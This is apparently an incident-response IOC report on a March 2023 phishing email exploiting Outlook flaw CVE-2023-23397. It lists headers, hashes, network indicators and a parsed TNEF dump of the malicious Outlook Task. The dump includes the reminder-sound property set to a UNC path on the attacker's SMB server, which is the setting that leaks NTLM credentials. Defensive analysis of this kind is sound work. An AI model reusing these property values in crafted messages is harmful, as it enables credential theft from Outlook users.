#outlook_eop_160323

#IOC #OptiData #VR #MSOutlook #EoP #SMB #NTLM

https://pastebin.com/FJDa0MA8

FAQ:
https://msrc.microsoft.com/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2023-exchange-server-security-updates/ba-p/3764224
https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/

attack_vector
--------------
email attach lrmng.txt > CVE-2023-23397 exploit > Outlook Task > \\85.195.206.7\lrmng\ > NTLM negotiation request > exfil of NTLM credentials

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email_headers
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Return-Path: <[email protected]>
Received: from semf03.mfg.siteprotect.com (semf03.mfg.siteprotect.com [64.26.60.166])
Received: from smtpauth02.mfg.siteprotect.com ([64.26.60.151])
Received: from [127.0.0.1] (unknown [85.195.206.7])
Content-Type: application/ms-tnef; name=lrmng.txt
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=lrmng.txt
From: [email protected]
Subject: Alarm!
Message-ID: <[email protected]>
Date: Thu, 16 Mar 2023 09:50:29 +0000

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files
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SHA-256		   562e40daf01ca6a8f397fed437abbd21bd33ffb8eedda2db3f2d6768b58b0444
File name	   lrmng.txt        [CVE-2023-23397 exploit]
File size	   6.94 KB (7108 bytes)

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activity
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PL_SCR      email attach

C2          85.195.206.7:445

netwrk
--------------
85.195.206.7			445	SMB	Negotiate Protocol Request

comp
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System	                85-195-206-7.init7.net	445	ESTABLISHED

proc
--------------
C:\Program Files (x86)\Microsoft Office\Office*\OUTLOOK.EXE

persist
--------------
n/a

drop
--------------
n/a


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additional info
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TNEF parsed
--------------
    "attributes": {
        "Date Modified": "2022-06-07 07:56:42",
        "Date Received": "2023-02-07 09:54:49",
        "Date Sent": "2023-02-07 09:54:49",
        "From": [
            "[email protected]",
            "EX",
            "/o=BLIND/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/[email protected]"
        ],
        "Message Class": "IPM.Task",
        "Message ID": "14DBDC85E2926A4291B27D5C13103DBE",
        "Message Status": 33,
        "Priority": 1,
        "Subject": "ALARM!"
    },
    "extended_attributes": {
        "0x8103": false,
        "0x8112": 2,
        "0x8113": 1,
        "0x811c": false,
        "0x8123": -1000,
        "0x8124": false,
        "0x8127": "",
        "0x812a": 0,
        "0x812c": false,
        "0x851e": true,
        "0x851f": "\\\\85.195.206.7\\lrmng",
        "0x8580": "[email protected]",
        "0x8581": "00000002\u0001/o=CERT/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/[email protected]",
        "0x85eb": 1033,
        "InTransitMessageCorrelator": "3\ufffd\ufffd\ufffd(u$K\ufffdus>\ufffdw(\ufffd",
        "MAPI_ACCESS": 7,
        "MAPI_ACCESS_LEVEL": 1,
        "MAPI_AGING_DONT_AGE_ME": false,
        "MAPI_ALTERNATE_RECIPIENT_ALLOWED": true,
        "MAPI_ANNIVERSARY_EVENT_ENTRY_ID": "",
        "MAPI_AUTO_LOG": 0,
        "MAPI_BIRTHDAY_EVENT_ENTRY_ID": "[email protected]",
        "MAPI_CHANGE_KEY": "\ufffd\u001e'M\u000e\ufffd\ufffdH\ufffd\ufffdK\ufffd1\ufffd-o\u0000\u0000\u0000\u0000\u001a\ufffd",
        "MAPI_CLIENT_SUBMIT_TIME": "2023-02-07 16:54:49.696000",
        "MAPI_CONTACT_USER_FIELD1": 0,
        "MAPI_CONVERSATION_INDEX": "\u0001\ufffd;\u0014\ufffdK>\ufffd\ufffd\ufffd\u0013x@\ufffd\ufffd\b\ufffd/\ufffd\ufffd\ufffd\ufffd",
        "MAPI_CONVERSATION_INDEX_TRACKING": true,
        "MAPI_CONVERSATION_TOPIC": "LGBTQ+",
        "MAPI_CREATION_TIME": "2023-02-07 16:53:29.210000",
        "MAPI_CURRENT_VERSION_NAME": "16.0",
        "MAPI_DELETE_AFTER_SUBMIT": false,


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VT & Intezer
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https://www.virustotal.com/gui/file/562e40daf01ca6a8f397fed437abbd21bd33ffb8eedda2db3f2d6768b58b0444/details


VR